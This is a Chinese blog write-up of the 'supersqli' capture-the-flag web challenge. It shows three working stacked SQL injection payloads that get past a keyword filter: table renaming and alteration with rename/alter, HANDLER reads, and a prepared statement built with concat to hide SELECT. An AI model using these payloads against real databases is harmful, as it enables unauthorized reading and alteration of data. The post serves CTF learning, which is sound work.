攻防世界-Web进阶-supersqli

很久之前做的题目了,现在拿到有点想不起来,记一下方法

其一:堆叠注入(rename+alter)

rename:修改表名

格式:rename tables 原表名 to 新表名;

alter:修改表名或字段;

格式:修改表名:alter tables 原表名 rename 新表名;

修改字段,如增删改:

增:alter table 表名 add 要增加的字段名 类型;删:alter table 表名 drop 要删除的字段名;

改:alter table 表名 change 原字段名 新字段名 类型;

这题首先过滤了select|update|delete|drop|insert|where

①1';show tables;#

②1';show columns from words;#

③1';show columns from 1919810931114514;# 注:以纯数字为表名的,操作时要加反引号`

④1';rename tables words to words1;rename tables 1919810931114514 to words; alter table words change flag id varchar(100);#

else:1';rename tables words to words1;rename tables 1919810931114514 to words; alter table words add id varchar(100);#

构造后的结构:

解释:可以判断出words是默认查询的表,且inject的值是赋给了id,所以要将flag所在表名改为words,并且把flag字段改为id,或者增加id字段,最后构造一个万能密码

其二:handler查询语句

基本语法:

通过HANDLER table_name OPEN打开一张表,无返回结果,实际上我们在这里声明了一个名为table_name的句柄。
通过HANDLER table_name READ FIRST获取句柄的第一行,通过READ NEXT依次获取其它行。最后一行执行之后再执行NEXT会返回一个空的结果。
通过HANDLER table_name CLOSE来关闭打开的句柄。

前面探索表名、字段的过程就省略了
1';handler 1919810931114514 open;handler 1919810931114514 read first;handler 1919810931114514 close;#

适用:知道表,部分查询被过滤,可以直接用handler查看表的内容

其三:预编译

详情可以参考:https://www.cnblogs.com/micrari/p/7112781.html

这里记一下简单理解,所谓预编译语句就是将反复执行的SQL语句或者语句中相同的部分的值用占位符(?)替代,可以视为将sql语句模板化或者说参数化

方法:

PREPARE - 准备执行的声明。
EXECUTE - 执行由PREPARE语句定义的语句。
举个栗子:prepare ins from 'insert into t select ?,?';execute ins;
具体:

1';sEt @sql = concat('sele','ct * from 1919810931114514;');prEpare smt from @sql;execute smt;#

解释:set就不用解释了,@后面的字符串是自定义的前后一致即可,concat是拼接里面的字符串,如concat('str1','str2')结果就是str1str2,smt是自定义,前后一致即可

posted @ 2020-09-24 11:34  Web_Fresher  阅读(148)  评论(0编辑  收藏  举报